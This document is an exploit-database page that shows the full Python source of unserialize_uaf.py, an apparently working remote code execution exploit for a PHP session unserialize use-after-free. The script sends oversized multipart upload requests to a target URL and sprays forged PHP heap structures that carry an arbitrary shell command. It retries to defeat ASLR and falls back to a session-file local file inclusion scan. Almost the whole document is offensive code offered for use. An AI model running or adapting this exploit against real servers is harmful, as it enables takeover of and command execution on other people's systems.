Exploit databaseDownload repository ZIP
GH-d926f5e7010d39afeb1b87bc528cb572
david-alvarez-rosa/php-rce
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
david-alvarez-rosa/php-rceRevision 9a8f61c87dbc
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploits/unserialize_uaf.py
Python · 5,916 bytesfrom __future__ import annotations
import random
import struct
import time
from .common import (ALNUM, ARM_NAMES, ARM_NAMELEN, SPRAY_U_LEN, MARKER_U,
arm_body, arm_body_with_payload, mp_part, raw_send,
parse_response, status_code, scan_lfi, parse_target)
# 288-byte weaponized spray forge (from video intel: IS_STRING_EX=0x106,
# IS_OBJECT_EX=0x308, command at +0xc8, 149x t[] parts).
WEAPON_SPRAY_LEN = 288
IS_STRING_EX = 0x106
IS_OBJECT_EX = 0x308
def _build_weapon_spray(cmd, marker):
"""Build 288-byte weaponized spray forge.
Layout derived from video intel (Ubuntu 26.04 / PHP 8.5.4 / glibc 2.39):
- Fake zend_string header at 0x00 (gc=0x40, type=IS_STRING_EX)
- Fake zend_object flags at 0x14 (type=IS_OBJECT_EX)
- Command string at +0xc8
"""
rec = bytearray(WEAPON_SPRAY_LEN)
struct.pack_into("<Q", rec, 0, 0x40)
struct.pack_into("<I", rec, 8, IS_STRING_EX)
struct.pack_into("<II", rec, 12, 1, 1)
struct.pack_into("<I", rec, 20, IS_OBJECT_EX)
cmd_str = f"echo {marker};{cmd};echo {marker}".encode()
end = min(0xc8 + len(cmd_str), WEAPON_SPRAY_LEN)
rec[0xc8:end] = cmd_str[:end - 0xc8]
return bytes(rec)
def unserialize_uaf(url, cmd, sid, marker, payload):
"""Bug U — BG(unserialize) context orphan.
ARM: huge-filename upload triggers decode-side OOM pre-RINIT. The
zend_catch bailout in php_session_decode orphans BG(unserialize)
(level=1, dangling data pointer to freed 8208-byte block). Note:
cancel_decode destroys the session file — LFI requires a separate
re-arm via the serialize path.
FIRE: s[] parts (~8.2KB) reclaim the freed php_unserialize_data block.
tmp_var() reads last_dtor/used_slots from attacker bytes; var_push_dtor
writes arbitrary zvals; var_access() resolves R:n markers from forged
entries.data[] → arbitrary zval_ptr_dtor → forged object → handlers →
zend_call_function → zif_system. Retry envelope (8 attempts) for ASLR
lottery.
FALLBACK: if the spray forge doesn't return output, re-arm a new worker
via Bug S (serialize path, persistent session file) and scan LFI.
"""
host, port, use_tls, path = parse_target(url)
bnd = b"UctxExploit"
arm = arm_body(sid, bnd)
print(f" arming {ARM_NAMES}x{ARM_NAMELEN}B filenames")
resp = raw_send(host, port, arm, bnd.decode(), sid, path, use_tls,
stall=1.35, chunk=8192)
sc = status_code(resp)
if sc is None:
print(" no response — target may have crashed")
return None
print(f" arm status={sc}")
pressure_body = bytearray()
pressure_body += mp_part(bnd, b"PHPSESSID", sid.encode())
pressure_body += mp_part(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"x")
pressure_body += mp_part(bnd, b"f", b"A" * 6144, filename=b"a")
pressure_body += mp_part(bnd, b"filler", b"P" * 4300000)
pressure_body += b"--" + bnd + b"--\r\n"
pressure = bytes(pressure_body)
print(" sending 4.3MB pressure filler")
resp = raw_send(host, port, pressure, bnd.decode(), sid, path, use_tls)
weapon = _build_weapon_spray(cmd, marker)
zval = struct.pack("<QII", MARKER_U, 8, 0)
spray = (zval * (SPRAY_U_LEN // 16))[:SPRAY_U_LEN]
small = struct.pack("<QII", MARKER_U, 8, 0) + b"\x00" * 8
mb = marker.encode()
killed = False
spray_shapes = [60, 80, 100, 120, 80, 100, 60, 120]
for attempt in range(8):
attempt_sid = f"u{attempt}" + "".join(random.choices(ALNUM, k=24))
n_spray = spray_shapes[attempt]
fire_body = bytearray()
fire_body += mp_part(bnd, b"PHPSESSID", attempt_sid.encode())
fire_body += mp_part(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"x")
for _ in range(n_spray):
fire_body += mp_part(bnd, b"s[]", spray)
for _ in range(149):
fire_body += mp_part(bnd, b"t[]", weapon)
for _ in range(451):
fire_body += mp_part(bnd, b"t[]", small)
fire_body += mp_part(bnd, b"f", b"A" * 6144, filename=b"a")
fire_body += mp_part(bnd, b"g", b"B" * 6144, filename=b"b")
fire_body += b"--" + bnd + b"--\r\n"
fire = bytes(fire_body)
print(f" fire {attempt + 1}/8 spray={n_spray}")
resp = raw_send(host, port, fire, bnd.decode(), attempt_sid, path,
use_tls, stall=1.35, chunk=8192)
body = parse_response(resp)
sc = status_code(resp)
if mb in body:
parts = body.split(mb)
if len(parts) >= 3:
print(f" RCE confirmed at attempt {attempt + 1}")
return parts[1].decode("latin-1", "replace")
if sc is None or len(body) == 0:
print(f" KILL at attempt {attempt + 1} — unserialize UAF confirmed")
killed = True
break
for needle, label in ((b"4141414141414141", "marker-0x41"),
(b"4242424242424242", "marker-0x42")):
if needle in body or needle in body.hex().encode():
print(f" HIT {label}")
print(f" attempt {attempt + 1} status={sc} — no hit")
time.sleep(0.5)
if killed:
print(" worker killed, waiting for respawn...")
time.sleep(1.5)
rearm_sid = "s" + "".join(random.choices(ALNUM, k=25))
rearm = arm_body_with_payload(rearm_sid, bnd, payload)
print(" re-arming with payload (serialize path)")
resp = raw_send(host, port, rearm, bnd.decode(), rearm_sid, path,
use_tls, stall=1.35, chunk=8192)
sc = status_code(resp)
print(f" re-arm status={sc}")
if sc is not None:
out = scan_lfi(host, port, path, rearm_sid, marker, use_tls)
if out:
print(" RCE confirmed via LFI")
return out
print(" no LFI path found")
return None